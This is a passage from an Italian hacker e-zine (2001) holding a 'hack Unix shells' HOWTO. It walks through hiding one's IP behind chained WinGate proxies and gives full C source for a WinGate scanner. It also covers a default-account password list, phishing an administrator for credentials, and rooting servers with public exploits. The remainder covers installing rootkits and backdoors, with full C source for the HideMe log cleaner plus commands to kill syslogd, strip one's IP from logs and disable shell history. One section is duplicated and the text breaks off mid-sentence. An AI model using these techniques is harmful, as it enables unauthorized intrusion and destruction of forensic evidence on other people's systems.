umano.Se vi sentite onnipotenti e credete di sapere tutto,| |lo credete e basta. Come disse qualcuno, "il saggio è colui che sa di non | |sapere". Percui, la prossima volta, siate piu' garbati, e se qualcuno sbaglia, | |fateglielo notare, non sputtanatelo come se fosse una mosca in un merdaio. | |Altrimenti la mosca siete voi....anzi, la merda....... | | | |Ah, vorrei lasciare una frase che mi ha lasciato MrCode dopo avermi restituito | |l'articolo: | |---- | |PS: passa questo articolo sotto il correttore ortografico, che fra me e te lo | |abbiamo riempito di stronzate!!!! ahahahahah :)) | |---- | | | |Gli date ragione ?? :) | +-------------------------------------------------------------------------------+ +-------------------------------------------------------------------------------+ | ONDAQUADRA ~ [HACKiNG] #04 - 19/11/2001 | | HACK UNiX SHELL [D3FU] 0x06/0x23 | +-------------------------------------------------------------------------------+ | | | ::w4rn1ng:: | | | | Questo mini HOWTO sull'hacking delle shell unix è da considerarsi come un | | testo | | informativo/educativo. L'autore non si assume alcuna responsabilità per | | l'uso | | inadeguato delle informazioni qui contenute . Insomma se vi sgamano non | | venite | | a piangere da me :-P | | | | ::1ntr0:: | | | | Io NON sono un hacker, credo di essere un newbies e per questo motivo posso | | aver | | scritto anche delle bestialità ! :-) pertanto se trovate errori nel testo | | vi prego | | di riferirmelo in modo da poterli correggere ! | | | | | | ::c0pr1r3 1l n0str0 ip_4ddr3ss:: | | | | A causa dell'enorme quantità di files log presenti nelle macchine unix, | | nascodere il | | proprio ip address dai logger diventa un operazione molto ardua. Pertanto è | | vivamente | | consigliabile telnettarsi da qualche parte prima di connettersi al target | | (il server | | vittima). Nel nostro caso ci vengono in aiuto i WinGates. | | Telnettandoci alla porta del server su cui gira un WinGate (solitamente la | | porta 23) | | possiamo coprire il nostro ip, e hackerare con maggiore tranquillità il | | server. | | Naturalmente la concatenazione di due o più WinGate ci può fornire maggiore | | anonimato, anche se ciò causa un terribile rallentamento di ogni operazione | | da | | noi svolta, perchè i comandi devono rimbalzare da più server. | | Pertanto è meglio non concatenare un elevato numero di WinGates (spesso si | | consiglia | | di concatenare max 3 WinGate ma tutto è relativo). | | Per aver maggior sicurezza sarebbe meglio far rimbalzare il nostro attacco | | anche da | | una o più shells in giro per il mondo. | | Evitate però le free shell perchè non sono buone per rootare su di una | | macchina. | | Trovare i WinGates è un operazione piuttosto facile (potete trovarne con | | facilità | | nelle liste pubbliche es. http://www.cyberarmy.com anche se spesso non | | funzionano). | | Un altro buon metodo è lo scanning. Scannando infatti un range di ip sulla | | porta 23 | | (quella di WinGate di default ) è possibile trovare buoni WinGates, ed il | | vantaggio | | è che solo VOI lo sapete (i "WinGate Scanners" li trovate al seguente URL : | | http://packetstormsecurity.org). Allego di seguito il sorgente di un buon | | scanner per | | WinGates : | | | | ----------------------8< taglia qui---------------------------------------- | | | | | | /* Yet Another Wingate Scanner (YAWS) Version 0.1 | | (C) 1999 by tempus fugit, tempusf@gmx.net | | URL: tf.darpa.org | | You can freely distribute this stuff, but | | please let the copyright information intact | | and don't alter the code. | | | | Feel free to send my any comments or suggestions | | | | Features: | | - can read the hosts to check from a file | | - can scan subnets (class b and c) | | - has an extra flag to prevent intrusion detection systems from being | | activated | | - logs the results | | - logs successes in an extra file | | - you can enter the number of subprocesses | | - you can specify a timeout | | | | compile with gcc yaws.c -o yaws | | | | */ | | | | #include | | #include | | #include | | #include | | #include | | #include | | #include | | #include | | #include | | #include | | #include | | #include | | #include | | #include | | #include | | #include | | | | #define wgateport 23 | | | | void CheckForWingate (char *,int); | | void init_rand (); | | void DoLog (char *); | | void LogSuccess (char *); | | void usage (); | | int sock, timeout=5; | | char *logfile="yaws.log", *suclogfile="yaws.suc", *progname; | | | | int main (int argc, char **argv) { | | static int forked=0; | | int forks=1, i, pid, dummy, scanned=0, toscan=0, j, k, extra=0, rnumber; | | char c, network[64]="none", class[]="z", inputfile[64]="", host[100]; | | FILE *input; | | typedef char target[100]; | | target *mytarget; | | progname=argv[0]; | | while ((c = getopt (argc, argv, "vef:l:n:c:i:t:s:")) != -1) { | | switch (c) { | | case 'f': forks = atoi (optarg); | | break; | | case 'e': extra = 1; | | break; | | case 'l': logfile = optarg; | | break; | | case 'n': strncpy (network, optarg, 64); | | break; | | case 'c': strncpy (class, optarg, 1); | | break; | | case 'i': strncpy (inputfile, optarg, 64); | | break; | | case 't': timeout = atoi (optarg); | | break; | | case 's': suclogfile = optarg; | | break; | | case 'v': usage (); | | case '?': usage (); | | } | | } | | | | if (argc < 2) { | | fprintf (stderr, "To few argumtens.\n"); | | usage (); | | } | | | | if (forks < 1) { | | fprintf (stderr, "To little number of forks.\n"); | | usage (); | | } | | | | DoLog ("YAWS 1999 by tempus fugit\n\n"); | | | | if ((strcmp (network, "none")) && (strcmp (class, "z"))) { | | if ((!strcmp (class, "b")) && (extra == 0)) | | for (j=1; j<255; j++) { | | for (k=1; k<255; k++) { | | snprintf (host, 100, "%s.%d.%d", network, j, k); | | if ((pid = fork ()) == 0) { | | CheckForWingate (host, wgateport); | | kill(getpid(),9); | | } | | if (pid != 0) { | | forked++; | | if (forked >= forks) { | | wait (&dummy); | | forked--; | | } | | } | | } | | } | | } | | else if ((!strcmp(class, "c")) && (extra == 0)) { | | for (j=1; j<255; j++) { | | snprintf (host, 100, "%s.%d", network, j); | | if ((pid = fork ()) == 0) { | | CheckForWingate (host, wgateport); | | kill(getpid(),9); | | } | | if (pid != 0) { | | forked++; | | if (forked >= forks) { | | wait (&dummy); | | forked--; | | } | | } | | | | } | | } | | else if ((!strcmp(class, "b")) && (extra == 1)) { | | init_rand(); | | mytarget = malloc ((254*254) * (sizeof (target))); | | if (mytarget == NULL) { | | fprintf (stderr, "Cannot allocate memory.\n"); | | exit (1); | | } | | fprintf (stdout, "I am computing the random IPs, this may take a | | while.\n"); | | for (j=1; j<255; j++) { | | for (k=1; k<255; k++) { | | marke: | | rnumber = (int) ((254.0*254.0)*rand()/(RAND_MAX+1.0)); | | if (strlen ((mytarget+rnumber)) > 1) goto marke; | | snprintf ((mytarget+rnumber), 100, "%s.%d.%d", network, j, k); | | | | } | | } | | for (j=0; j<=(254*254); j++) { | | if ((pid = fork ()) == 0) { | | CheckForWingate ((mytarget+j), wgateport); | | kill(getpid(),9); | | } | | if (pid != 0) { | | forked++; | | if (forked >= forks) { | | wait (&dummy); | | forked--; | | } | | } | | | | } | | } | | | | else if ((!strcmp(class, "c")) && (extra == 1)) { | | init_rand(); | | mytarget = malloc ((255) * (sizeof (target))); | | if (mytarget == NULL) { | | fprintf (stderr, "Cannot allocate memory.\n"); | | exit (1); | | } | | for (j=1; j<255; j++) { | | marke2: | | rnumber = 1+(int) ((254.0)*rand()/(RAND_MAX+1.0)); | | if (strlen ((mytarget+rnumber)) > 1) goto marke2; | | snprintf ((mytarget+rnumber), 100, "%s.%d", network, j); | | | | | | } | | for (j=1; j<255; j++) { | | if ((pid = fork ()) == 0) { | | CheckForWingate ((mytarget+j), wgateport); | | kill(getpid(),9); | | } | | if (pid != 0) { | | forked++; | | if (forked >= forks) { | | wait (&dummy); | | forked--; | | } | | } | | } | | } | | else | | { | | if ((class != "b") && (class != "c")) { | | printf ("You entered an unknown class or no network.\n"); | | return 1; | | } | | } | | for (i=1; i <= forked; i++) wait (&dummy); | | return 0; | | } | | | | input = fopen (inputfile, "r"); | | if (input == NULL) { | | fprintf (stderr, "Cannot open input file.\n"); | | return 1; | | } | | | | while ((fscanf (input, "%s\n", host)) != EOF) { | | if ((pid = fork ()) == 0) { | | CheckForWingate (host, wgateport); | | kill(getpid(),9); | | } | | if (pid != 0) { | | forked++; | | if (forked >= forks) { | | wait (&dummy); | | forked--; | | } | | } | | | | } | | fclose (input); | | for (i=1; i <= forked; i++) wait (&dummy); | | | | } | | | | void alarm_handler (int sig) { | | close (sock); | | return; | | } | | | | void CheckForWingate (char *host, int port) | | { | | int ret, conn, sel; | | char buffer[128], logmsg[1024]; | | struct sockaddr_in sin; | | fd_set fd; | | struct timeval tv; | | struct hostent *he; | | | | if ((strlen (host)) == 0) exit (1); | | | | if (!(sock = socket (AF_INET, SOCK_STREAM, 0))) { | | fprintf (stderr, "Cannot create a socket.\n") | | exit (1); | | } | | | | if (inet_addr (host) == -1) { | | if ((he=gethostbyname (host)) == NULL) { | | snprintf (logmsg, 1024, "The host %s cannot be resolved.\n", host); | | DoLog (logmsg); | | return; | | } | | memcpy (&sin.sin_addr, he->h_addr,he->h_length); | | } | | else if ((sin.sin_addr.s_addr = inet_addr (host)) == -1) { | | snprintf (logmsg, 1024, "IP %s cannot be identified.\n", host); | | DoLog (logmsg); | | return; | | } | | sin.sin_family = AF_INET; | | sin.sin_port = htons (port); | | signal (SIGALRM, alarm_handler); | | alarm (timeout); | | conn = connect (sock, (struct sockaddr*)&sin, sizeof (sin)); | | if (conn < 0) { | | snprintf (logmsg, 1024, "Cannot connect to host %s on port %d.\n", host, | | port); | | DoLog (logmsg); | | close (sock); | | return; | | } | | FD_ZERO (&fd); | | FD_SET (sock, &fd); | | tv.tv_sec = timeout; | | tv.tv_usec = 0; | | sel = select (sock+1, &fd, NULL, NULL, &tv); | | if (sel > 0) { | | if ((ret = recv (sock, buffer, 128, 0)) > 0) { | | if (!strcmp (buffer, "WinGate>")) { | | snprintf (logmsg, 1024, "Host %s is a wingate.\n", host); | | DoLog (logmsg); | | LogSuccess (logmsg); | | } | | else { | | snprintf (logmsg, 1024, "Host %s is no wingate.\n", host); | | DoLog (logmsg); | | } | | } | | | | } | | if (!sel) { | | snprintf (logmsg, 1024, "Host %s time out by search.\n", host); | | DoLog (logmsg); | | } | | if (sel == -1) { | | fprintf (stderr, "Select Error.\n"); | | exit (1); | | } | | close (sock); | | return; | | } | | | | void init_rand() { | | int fd; | | unsigned n; | | fd = open("/dev/random", O_RDONLY); | | read(fd, &n, sizeof(n)); | | close(fd); | | srand(n); | | } | | | | void DoLog (char *message) { | | FILE *file; | | file = fopen (logfile, "a"); | | if (file == NULL) { | | fprintf (stderr, "File Error.\n"); | | exit (1); | | } | | fprintf (file,"%s", message); | | fclose (file); | | } | | | | void LogSuccess (char *message) { | | FILE *file; | | file = fopen (suclogfile, "a"); | | if (file == NULL) { | | fprintf (stderr, "File Error.\n"); | | exit (1); | | } | | fprintf (file, "** SUCCESS: ** "); | | fprintf (file, "%s", message); | | fclose (file); | | } | | | | void usage () { | | printf ("[YAWS] Yet Another Wingate Scanner Version 0.1 1999 by tempus | | fugit\n"); | | printf ("mail: tempusf@gmx.net\n"); | | printf ("URL: http://tf.darpa.org\n\n"); | | printf ("Usage: %s -v -l -f -t -n -c | | -i -s \n", progname); | | printf ("\tlogfile: the name of the file where the scanning results are | | stored.\n"); | | printf ("\tforks : the number of forks the program is allowed to | | create.\n"); | | printf ("\ttimeout: timeout of search-process in seconds.\n"); | | printf ("\tnetwork: you can enter network that will be checked for | | wingates.\n"); | | printf ("\tnetwork: can be or if class is\n"); | | printf ("\t b or c\n"); | | printf ("\tinput-file: you can specify an input-file from which the hosts | | to checked are extraced.\n"); | | printf ("\tsuccess-logfile: success messages are written in this file.\n"); | | printf ("\tif you choose an input-file, the network and class options are | | ignored.\n"); | | printf ("Example: %s -l mylogs -n 200.10 -c b -s wow\n", progname); | | exit (0); | | } | | | | ----------------------8< taglia qui----------------------------------------- | | | | | | | | Il discorso delle shells è MOLTO piu complicato ! La shell di cui abbiamo | | bisogno non | | è una shell con accesso root (se no cosa buchiamo a fare :-P ) ma bensì una | | normale | | (non free-shell ricordate) da usare come bouncer per il nostro attacco. | | Spesso sui | | manuali di hacking si consiglia di barattare le shell in chat (irc in | | particolare) sui | | canali di hacking. | | Personalmente ritengo che una persona alle prime armi non abbia da | | barattare NESSUNA | | shell (anzi la sta cercando !!!) quindi possiamo ricorrere a trucchetti | | semplici | | semplici per recuperarne una : | | | | 1) Social Enginering : inviando una mail falsa (attenzione anche qui usate | | WinGates | | e/o free-shell prima di connettervi al server SMTP!) | | al possessore | | di un shell, possiamo fingerci l'amministratore del | | server | | e farci inviare la password del suo account per | | neccessità di | | backup (vi rimando all'articolo di LordShinva sul | | Social Enginering). | | | | 2) Default Accounts : Bisogna saper che per i sistemi come linux esistono | | degli | | account di "defalt" che l'attacker può usare per | | accedere al | | sistema ed avere una shell (si puo anche utilizzare | | un exploit | | per scalare i privilegi sfruttando le vulnerabilità | | dei demoni | | che girano sul server) | | Ecco di seguito un elenco degli account di default : | | user passwd | | sys sys, system, manager, nomedelsistema, vedi | | root | | daemon daemon, background, none | | uucp uucp, vedi guest | | tty tty | | test test | | unix unix, test | | bin bin, system, vedi root | | adm adm, admin, sys, vedi root | | admin adm, admin | | sysman sysman, sys, system | | sysadmin sysadmin, sys, system, admin, adm | | who who, none | | learn learn | | uuhost uuhost | | guest guest, user, anonymous, visitor, bbs,(nome | | del | | sistema o dell'organizzazione) | | host host | | nuucp nuucp, vedi uucp | | rje rje, none, vedi root | | games games, player | | sysop sysop | | demo demo, nomedelsistema, none | | visitor vedi guest | | anonymous vedi guest | | anon vedi guest | | user vedi guest | | nomedelsistema vedi guest | | student student, vedi guest | | ftp ftp, ftpuser, vedi guest | | ftpuser vedi ftp | | xxcp xenix | | system manager | | nobody nobody, none | | field service | | archie archie, none | | qarchie qarchie, none | | whois whois, none | | bbs nomedelsistema, bbs, waffle, none | | services nomedelsistema, services, none | | info nomedelsistema, info, none | | new nomedelsistema, new, none | | newuser nomedelsistema, newuser, none | | ingres none, ingres, nomedelsistema | | date date, none | | lpq lpq, none | | time time, none | | weather weather, forecast, none | | forcast vedi weather | | help help, none | | test nomedelsistema, test, none | | waffle vedi bbs | | trouble trouble, vedi root | | lp lp, printer, print, vedi root | | unmountsys unmountsys, unmount, vedi root | | setup setup, vedi root | | makefsys makefsys, vedi root | | | | Provare manualmente tutte queste passwd è una | | rottura ... automatizziamo | | il tutto con qualche bel programmino : | | - Brutus (http://www.hobbie.net/brutus) | | - TeeNet (http://phenoelit.de/tn) | | - cerca su packetstorm "pop.c" e "brutus_web.c" | | | | 3) /etc/passwd : Con un pò di fortuna (be MOOLTA fortuna) è possibile | | accedere | | al file delle password via web, e se non è shadowato | | ... be scaldate | | il vostro John The Ripper !!! ;-) [in ogni caso | | avresti un elenco | | completo degli utenti di quel server, vedi anche | | sotto...] | | | | 4) "Joe Account" : Sempre per quanto riguarda le password facendo un | | bel fingering | | di una macchina in un orario in cui è connessa molta | | gente, possiamo | | recuperare un bel po' di username. Perchè? perchè | | spesso gli utenti | | sono così idioti da utilizzare il loro username | | anche come password | | (detto anche "Joe Account") quindi ... ah dimeticavo | | ... spesso | | questi "esperti" utenti :-) hanno un account del | | tipo : | | user : pippo | | pass : pippo1 | | [NOTA per il fingering : ricorda di far rimbalzare | | il finger da un | | altra macchina. Come? finger @sito.com@target.com | | ... ] | | | | | | Una volta trovati WinGates e shell, li concateneremo nel seguente modo | | | | WinGate_1 --> WinGate_2 --> WinGate_xx ... -> shell(s) | | | | A questo punto il tuo ip ( quello che dovrai cancellare dai files log una | | volta ottenuto | | accesso root) è quello dell'ultima shell (o wingate) che hai concatenato | | (ovvio :-P). | | | | | | ::th3 t4rg3t:: | | | | Per la ricerca del nostro target (il server che vogliamo bucare) abbiamo a | | nostra | | disposizione due magnifici siti : | | 1) www.ipindex.net : una raccolta di tutti gli ip address del mondo divisi | | per | | continente e ente/società a cui appartengono. | | 2) www.netcraft.net : un motore di ricerca molto utile che ci permette non | | solo | | di ricercare un infinità di siti, ma anche di trovare | | info | | riguardo al sito che vogliamo bucare (es. OS , ecc..) | | | | Naturalmente se avete in testa un sito che vi è particolarmente | | "antipatico" e/o | | particolarmente "sfigato" be' ... il tutto sarà ancora più divertente !!! | | | | | | | | ::iNF0 & 3xpl0it:: | | | | Un passo fondamentale per la buona riuscita del nostro attacco è lo studio | | del target. | | Per prima cosa sarebbe bene fare uno scanning delle porte del server | | (probabilmente il | | miglior port scanner in circolazione per linux è NMAP, lo trovi su | | http://www.insecure.org) | | e usare alcuni interessanti tool a nostra disposizione, quali finger, | | nslookup, tracerouter, | | whois , ecc.. per renderci conto di CHI vogliamo attaccare. | | Di grande utilità è anche l'utilizzo dell'utility "ping sweep" (la trovate | | al seguente | | indirizzo : ftp.tamu.edu/pub/unix/src/ ) che permette di poter studiare la | | configurazione | | della rete che andremo ad attakkare. | | In particolare lo scannning delle porte del server ci aiuterà a capire | | quali demoni | | girano sul server . Sfrutteremo di conseguenza i "bug" di questi demoni | | tramite un | | exploit per penetrare nel sistema. | | | | Individuata il demone che volgiamo bucare ricerchiamo l'exploit in siti di | | sicurezza | | come HACK.co.za (http://www.hack.co.za) oppure su PACKETSTORM | | (http://packetstormsecurity.org). | | L'exploit va poi posizionato su una delle shell da cui facciamo rimbalzare | | l'attacco | | e in fine compilato. | | Per compilare l'exploit bisogna seguire le info che trovate nel codice | | sorgente | | dell'exploit stesso (qui trovate anche info sul suo utilizzo e/o tipo di | | vulnerabità | | sfruttata). Vi consiglio di studiare l'exploit che vi accingete ad | | utilizzare in modo da | | CAPIRE cosa stiamo effettivamente facendo. | | Naturalmente prima di bucare il server è bene (se possibile) fare un bel | | fingering | | del server vittima per essere sicuri che non vi sia nessun utente connesso | | alla macchina, | | in caso contrario è meglio lasciare perdere e tentare in un altro momento. | | | | CONSIGLIO : Quando studiate il target connettersi alla porta 37 (time) del | | server vi mostrerà | | l'ora del luogo in cui è situato il server, così da collegarsi quando è | | notte (o mattina presto) | | in modo che nessun utente (tantomeno il SyS :-) sia connesso alla machiana. | | | | | | ::1Ns1d3 th3 s3rv3r:: | | | | Compilato l'exploit, lo eseguiamo, e se tutto va bene otterremo l'accesso | | root sulla macchina. | | Appena ci compare il magnifico "#" verifichiamo per prima cosa di essere | | realmente root nella | | nostra nuova macchina :-D con il comando "id" (oppure con il comando | | "whoami"). | | Se otteniamo una risposta del tipo "uid=0(root)" stiamo rootando su quella | | macchina ! [complimenti!] | | Ora dobbiamo essere sicuri di essere soli nella macchiana quindi | | utilizziamo il comando | | "w" oppure "who" (soprattutto se non ci è stato possibile fare un fingering | | alla macchiana | | in precedenza). | | Ora dobbiamo cancellare il nostro ip dai file log quindi dobbiamo uplodare | | un bel cleaner ed | | eventualmente un bel rootkit per modificare /bin e /sbin ed inserire | | backdoor. | | Uplodando i file nel sever tramite ftp, saremo loggati dal un bel figlio di | | puttana chiamato "Xferlog", | | un file log che registra ogni trasferimento di files in/out tramite ftp, | | quindi dobbiamo uplodare | | i nostri bei files con dei trucchetti che andremo ad illustrare : | | Il primo metodo consiste nel fare un bel copia/incolla del testo contenuto | | nei file *.c | | che volgiamo uplodare, e di aprire da remoto sulla macchina bucata un text | | editor (esempio | | vi) e dopo di che, incollare il testo tramite la combinzione di tasti SHIFT | | + INS | | (l'equivalente di incolla da shell, il copia e CTRL + INS ). | | Il secondo metodo ci permette di copiare un file dal nostro computer dal | | desktop con | | un semplice copy , e "di incollarlo" nel server remoto digitando da shell : | | | | [copia il file con "copia"] | | # cat << EOF > file.c | | | | digita EOF : | | | | > EOF | | | | Il file è copiato sul computer remoto ! | | In questo modo possiamo compiare non solo file testo ma qualsiasi file che | | ci possa | | essere utile sul server. (quindi rootkit, cleaner, index.html <- :-))) ecc | | ...) | | | | NOTA: nonstante tutto possiamo uplodare i nostri files sul server tramite | | ftp, perchè | | i metodi descritti risultano molto lunghi se si decide di installare | | corposi rootkit | | sulla macchina :-) . Per questo usiamo comunque ftp ma ricordiamoci di | | greppare xferlog | | alla ricerca del nostro hostname/ip, e inoltre di controllare il log | | "secure" in /etc/log | | inquanto per default riporta le stesse identificazioni relative ai | | trasferimenti che | | compaiono anche su xferlog (controlla anche la directory /etc/ftp* per | | trovare che tipo | | di setup c'è nella box hackerata). | | | | | | ::th3 L0gs f1L3:: | | | | Ora viene il bello dell'impresa. Da questo momento sarà solo la nostra | | abilità che ci | | permetterà di non farci beccare dal Sys e di mantenere l'accesso alla | | macchina il più a | | lungo possibile ... facciamo un pò di pulizia :-D ... | | I log piu bastardi di un sistema unix/unix-like sono situati nelle seguenti | | directory : | | | | /etc/log (default) | | /tmp/log - /temp/var/log | | /var/run (qui trovate anche i *.pid dei demoni che girano sulla macchina) | | /var/log - /var/adm | | /usr/log - /usr/adm/log | | | | I log piu comuni possono essere cancellati tramite cleaner quali zap o | | hideme. | | Qui sotto riporto il programma hideme.c scritto da FuSys di BFI. | | (vi rimando al suo articolo su BFI per maggiori info sui log di unix) | | | | ----------------------8< taglia qui----------------------------------------- | | | | | | /* | | HideMe.c Cleans Utmp, Wtmp, LastLog, Messages, XferLog, Secure, | | MailLog. Please check your brain connection before using | | since it does NO timestamp or CRC checking. Yet. ;) | | Usage: hideme | | P.S. check all logs dirs and edit this source accordingly. | | */ | | | | /************************************************************************ | | * Written by fusys no (C)1998 * | | * Yes. I coded this. No. I didn't leave this in your system. * | | * Go check your local nasty user or cracker. * | | * For Informative and Non-Profit Fun only. * | | * I was not the first. I won't be the last. AMEN to that. * | | * YES. It seems today I don't have anything better to do. Go figure. ;) * | | ************************************************************************/ | | | | #include /* as coder@reptile said: */ | | #include /* includes, what would we do */ | | #include /* without them ?! */ | | #include | | #include | | #include | | #include | | | | #define UTMP "/var/run/utmp" /* Understand ?! */ | | #define WTMP "/var/log/wtmp" /* If not, RTFM ... */ | | #define LASTLOG "/var/log/lastlog" /* Still in the myst ? */ | | #define MESSAGES "/var/log/messages" /* Please RTFMA ... */ | | #define SECURE "/var/log/secure" /* What now ?!!? */ | | #define XFERLOG "/var/log/xferlog" /* Ok I got it for ya: */ | | #define MAILLOG "/var/log/maillog" /* Consider using W95 ! */ | | #define MAXBUFF 8*1024 | | | | int main (int argc, char *argv[]) | | { | | struct utmp ut ; /* (C)1998 PNN */ | | struct lastlog ll ; /* Pretty New Names */ | | struct passwd *pass ; | | int i, size, fin, fout ; | | FILE *lin ; | | FILE *lout ; | | char *varlogs[] = {MESSAGES, SECURE, XFERLOG, MAILLOG} ; | | char *newlogs[] = {"messages.hm", "secure.hm", "xferlog.hm", | | "maillog.hm"} ; | | char buffer[MAXBUFF] ; | | | | char ninja[10] ; /* better isn't it ?! */ | | char zaibatsu[100] ; /* oh ... shut up ! :) */ | | char zaibatsu_ip[17] ; | | | | if (argc!=4) { | | fprintf(stderr, "\nHideMe\n") ; | | fprintf(stderr, "Usage: %s \n\n", argv[0]) | | ; | | exit () ; | | } | | | | /*************************** | | * OK Let's start with UTMP * | | ***************************/ | | size = sizeof(ut) ; | | strcpy (ninja, argv[1]) ; | | fin = open (UTMP, O_RDWR) ; | | if (fin < 0) { | | fprintf(stderr, "\nUh ? utmp target not locked. Getting | | outta here.\n") ; | | close (fin) ; | | exit () ; | | } | | else { | | while (read (fin, &ut, size) == size) { | | if (!strncmp(ut.ut_user, ninja, strlen(ninja))) { | | memset(&ut, 0, size) ; | | lseek(fin, -1*size, SEEK_CUR) ; | | write (fin, &ut, size) ; | | } | | } | | close (fin) ; | | printf("\nutmp target processed.") ; | | } | | | | /*************************** | | * OK Let's go on with WTMP * | | ***************************/ | | strcpy (zaibatsu, argv[2]) ; | | strcpy(zaibatsu_ip, argv[3]) ; | | | | fin = open(WTMP, O_RDONLY) ; | | if (fin < 0) { | | fprintf(stderr, "\nUh? wtmp target not locked. Getting outta | | here.\n") ; | | close (fin) ; | | exit () ; | | } | | fout = open("wtmp.hm", O_WRONLY|O_CREAT) ; | | if (fout < 0) { | | fprintf(stderr, "\nDamn! Problems targeting wtmp. Getting | | outta here.\n") ; | | close (fout) ; | | exit () ; | | } | | else { | | while (read (fin, &ut, size) == size) { | | if ( (!strcmp(ut.ut_user, ninja)) || | | (!strncmp(ut.ut_host, zaibatsu, strlen(zaibatsu))) ) { | | /* let it go into oblivion */ ; | | } | | else write (fout, &ut, size) ; | | } | | close (fin) ; | | close (fout) ; | | if ((system("/bin/mv wtmp.hm /var/log/wtmp") < 0) && | | (system("/bin/mv wtmp.hm /var/log/wtmp") == 127)) { | | fprintf(stderr, "\nAch. Couldn't replace %s .", | | WTMP) ; | | } | | system("/bin/chmod 644 /var/log/wtmp") ; | | printf("\nwtmp target processed.") ; | | } | | | | /*************************** | | * OK Let's look at LASTLOG * | | ***************************/ | | size = sizeof(ll) ; | | fin = open(LASTLOG, O_RDWR) ; | | if (fin < 0) { | | fprintf(stderr, "\nUh? lastlog target not locked. Getting | | outta here.\n") ; | | close (fin) ; | | exit () ; | | } | | else { | | pass = getpwnam(ninja) ; | | lseek(fin, size*pass->pw_uid, SEEK_SET) ; | | read(fin, &ll, size) ; | | ll.ll_time = 0 ; | | strncpy (ll.ll_line, " ", 5) ; | | strcpy (ll.ll_host, " ") ; | | lseek(fin, size*pass->pw_uid, SEEK_SET) ; | | write(fin, &ll, size) ; | | close (fin) ; | | printf("\nlastlog target processed.\n") ; | | } | | | | /*************************** | | * OK moving to /var .... * | | ***************************/ | | for (i=0;i<4;i++) { | | printf("Processing %s\t", varlogs[i]) ; | | lin = fopen (varlogs[i], "r") ; | | if (lin == 0) { | | fprintf(stderr, "\nHmmm. Couldn't reach var ...\n") | | ; | | fclose (lin) ; | | break ; | | } | | lout = fopen (newlogs[i], "w") ; | | if (lout == 0) { | | fprintf(stderr, "\nHmmm. Couldn't reach var ...\n") | | ; | | fclose (lout) ; | | break ; | | } | | else { | | while (fgets(buffer, MAXBUFF, lin) != NULL) { | | if ((!strstr(buffer, ninja)) && | | (!strstr(buffer, zaibatsu)) && (!strstr(buffer, zaibatsu_ip))) { | | fputs(buffer, lout) ; | | } | | } | | } | | fclose (lin) ; | | fclose (lout) ; | | printf(" DONE.\n") ; | | } | | system ("mv messages.hm /var/log/messages"); | | system ("mv secure.hm /var/log/secure"); | | system ("mv xferlog.hm /var/log/xferlog"); | | system ("mv maillog.hm /var/log/maillog"); | | exit () ; | | } | | | | | | ::th3 L0gs f1L3:: | | | | Ora viene il bello dell'impresa. Da questo momento sarà solo la nostra | | abilità che ci | | permetterà di non farci beccare dal Sys e di mantenere l'accesso alla | | macchina il più a | | lungo possibile ... facciamo un pò di pulizia :-D ... | | I log piu bastardi di un sistema unix/unix-like sono situati nelle seguenti | | directory : | | | | /etc/log (default) | | /tmp/log - /temp/var/log | | /var/run (qui trovate anche i *.pid dei demoni che girano sulla macchina) | | /var/log - /var/adm | | /usr/log - /usr/adm/log | | | | I log piu comuni possono essere cancellati tramite cleaner quali zap o | | hideme. | | Qui sotto riporto il programma hideme.c scritto da FuSys di BFI. | | (vi rimando al suo articolo su BFI per maggiori info sui log di unix) | | | | ----------------------8< taglia qui------------------------------------- | | | | | | | | In ogni caso è bene non cancellare MAI i file log dal sistema ma cancellare | | solo il proprio ip address. | | | | *NOTA* : Hideme non pulisce però tutte le nostre tracce le nostre ... | | esistono | | altri log al di fuori di quelli "controllati" da hideme. Di seguito trovi | | info su come | | risolvere buona parte dei problemi di logging. | | | | Prima ancora di avviare il nostro cleaner è bene killare il logger del | | sistema | | (syslogd) nel seguente modo : | | | | # ps -def | grep syslog (individuo il processo) | | | | # kill (pid) syslogd | | | | In questo modo da ora in poi ogni comando eseguito non verrà piu loggato. | | Per essere ancora piu sicuri e bene controllare il file /etc/messagges in | | cui si possono | | trovare un infinità di info , oltre che al file /etc/syslog.conf per | | scoprire altri files | | log nel sistema che non abbiamo ancora cancellato. | | Un altro file da controllare è il file /etc/login.defs. | | | | *NOTA*: quando killi il processo non verrai più loggato dai log files del | | sistema (almeno | | si spera! :-). Tuttavia il SyS potrebbe insospettirsi del fatto che il suo | | syslogd è stato | | killato, e quindi puo' pensare che qualcuno (noi ;-) abbia rootato sulla | | sua macchina ... | | quindi dopo aver svolto ogni operazione di "mimetizzazione" all'interno del | | sistema riavviate | | il demone syslogd ... | | | | Nel caso in cui il Sys abbia spostato i files sopra citati, è possibili | | cercarli | | digitando da shell il seguente comando : | | | | find / -name file ["file" è il nome del file] | | | | Per essere ancora + sicuri è doverose greppare /etc, /var e /sbin alla | | ricerca di files che | | possano contenere il nostro ip address e/o il nostro hostname quindi da | | shell digitiamo : | | | | grep -r "hostname" /etc (l'opzione -r serve per greppare ogni files in ogni | | directory | | presente in /etc) | | | | in un secondo momento grepperemo allo stesso modo cercando il nostro ip | | address, e al termine | | di ciò ripeteremo le operazioni in modo uguale per /var & /sbin ) | | Nel caso in cui aveste trovato file(s) conteneti il vostro ip/hostname | | trattate i files nel | | seguente modo : | | [nome file: file_bastard.log mio ip: 123.123.123.123] | | | | # grep -v file_bastard.log "123.123.123.123" -V > temp | | # del file_bastard.log | | # mv temp file_bastard.log | | | | In questo modo abbiamo filtarto tutte le linee che non contengono il nostro | | ip addres dal file .log | | in questione e le abbiamo posizionato nel file "temp". In un secondo | | momento abbiamo cancellato il | | file log e abbiamo posizionato temp al posto del file log : di noi non c'è | | più traccia ! | | [controla sempre le dimesioni dei files che tratti in questo modo per | | evitare errori !] | | | | ::HIST0Ry__f1l3:: | | | | Ora che abbiamo cancellato le nostre traccce (si spera ! :-) dobbiamo | | cancellare il file | | history, in cui vengono registrati tutti i comandi da noi digitati. | | Prima di tutto facciamo in modo che il file in questione venga cancellato | | non appena | | lasceremo il sistema digitando : | | | | # unset HISTFILE | | e infine facciamo in modo che non venga piu scritto un nuovo file history | | linkandolo a null : | | # ln -s /dev/null .bash_history | | | | Dopo di che cancelliamo il file .bash_history dal sistema per maggiore | | sicurezza. | | Naturalmente il tutto vale se la shell da noi usata è la bash. Il file | | history e situato | | nella home dir dell'utente (controllate anche il file history di root in | | /root per spiare | | le operazioni dell'amministratore di sistema !!! ;-).In ogni caso se non lo | | trovi usa il | | comando "find" sopra citato. | | | | ::and n0W ?!?:: | | | | Ora ci resta che decidere cosa fare con il nostro nuovo sistema ! | | Solitamente si puo' : | | | | 1) Defacing : a mio parere operazione INUTILE 